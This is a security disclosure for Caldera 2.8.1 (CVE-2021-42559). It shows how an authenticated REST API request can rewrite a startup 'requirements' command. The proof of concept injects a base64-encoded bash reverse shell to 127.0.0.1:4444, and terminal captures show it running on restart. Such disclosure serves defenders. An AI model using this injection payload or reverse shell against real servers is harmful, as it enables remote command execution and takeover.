

Caldera Disclosures

Version 2.8.1

Environment:

- Caldera 2.8.1
- Ubuntu Linux

Findings:

1. CVE-2021-42559: Command Injection Via Configurations

Description:

Caldera contains multiple startup “requirements” that execute commands when starting the server. Because these commands can be changed via the Rest API, an authenticated user can insert arbitrary commands that will execute when the server is restarted.

Proof of Concept:

We use the following HTTP request in order to change the command for the “go” requirement to execute a reverse shell:

Request:

```
POST /api/rest HTTP/1.1
Host: 192.168.243.180:8888
Content-Type: application/json
Content-Length: 307
Cookie:
API_SESSION="gAAAAABfkzOeJGqWz0pgDyaZl6BdFmuQzOenIthJ6XI9pgdt38mOPFYVv1ghN3NOjo5ZAEv934xzRKXehT35Msve_JHBMApMyFY2JAftYtCoU6jGLC7Bz8XBAoh9SArDdi3oTSVKAml7rRu17YM-O6QBqO81XZya_g=="

{"index": "configuration", "prop": "requirements", "value": {"go": {"command": "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcucMC4wLjEvNDQ0NCawPiYx}|{base64,-d}|{bash,-i}", "type": "installed_program", "version": "1.11"}, "python": {"attr": "version", "module": "sys", "type": "python_module", "version": "3.6.1"}}}}
```

Response:

```
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 1090
Date: Fri, 23 Oct 2020 19:52:20 GMT
Server: Python/3.6 aiohttp/3.6.2
Connection: close

{"ability_refresh": 60, "api_key_blue": "aH***TRUNCATED***TU", "api_key_red": "Qv***TRUNCATED***M4", "app.contact.gist": "API_KEY", "app.contact.http": "http://0.0.0.0:8888", "app.contact.tcp": "0.0.0.0:7010", "app.contact.udp": "0.0.0.0:7011", "app.contact.websocket": "0.0.0.0:7012", "crypt_salt": "yz***TRUNCATED***Hw", "encryption_key": "0C***TRUNCATED***lw", "exfil_dir": "/tmp", "host": "0.0.0.0", "plugins": ["access", "atomic", "compass", "debrief", "fieldmanual", "gameboard", "manx", "response", "sandcat", "stockpile", "training", "ssl"], "port": 8888, "reports_dir": "/tmp", "requirements": {"go": {"command": "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcucMC4wLjEvNDQ0NCawPiYx}|{base64,-d}|{bash,-i}", "type": "installed_program", "version": "1.11"}, "python": {"attr": "version", "module": "sys", "type": "python_module", "version": "3.6.1"}}, "users": {"blue": {"blue": "po***TRUNCATED***5Y"}, "red": {"red": "mS***TRUNCATED***mM"}}
```

When the server is closed the config changes will be permanently saved to “config/local.yml” and when the server is restarted the command will be executed resulting in a reverse shell (in this case on port 4444 localhost):

The image shows two terminal windows side-by-side. The left window is a nano editor editing 'local.yml' in the directory ~/Desktop/caldera/conf. The right window shows the execution of the server.py script and the resulting reverse shell command.

```
guest@tester: ~/Desktop/caldera/conf
File Edit View Search Terminal Help
GNU nano 2.9.3 local.yml
ability_refresh: 60
api_key_blue: aH [redacted] WTU
api_key_red: QvS [redacted] M4
app.contact.gist: API_KEY
app.contact.http: http://0.0.0.0:8888
app.contact.tcp: 0.0.0.0:7010
app.contact.udp: 0.0.0.0:7011
app.contact.websocket: 0.0.0.0:7012
crypt_salt: y [redacted] HW
encryption_key: 0C [redacted] W
exfil_dir: /tmp
host: 0.0.0.0
plugins:
- access
- atomic
- compass
- debrief
- fieldmanual
- gameboard
- manx
- response
- sandcat
- stockpile
- training
- ssl
port: 8888
reports_dir: /tmp
requirements:
go:
  command: bash -c {echo,YmFzaCAtaSA+JlAVZGV2L3RjcCBxMjcuMC4wLjEVENDBQ0NC$
  type: installed_program
  version: 1.11
python:
  attr: version
  module: sys
  type: python_module
  version: 3.6.1
users:
  blue: p [redacted] SY
^G Get Help ^O Write Out ^W Where Is ^K Cut Text ^J Justify
^X Exit ^R Read File ^A Replace ^U Uncut Text ^T To Spell
```

```
guest@tester: ~/Desktop/caldera
File Edit View Search Terminal Help
guest@tester:~/Desktop/caldera$ python3 server.py
2020-10-23 22:56:11 - INFO (server.py:90 <module>) Using main config from
conf/local.yml
guest@tester:~/Desktop/caldera$ bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
```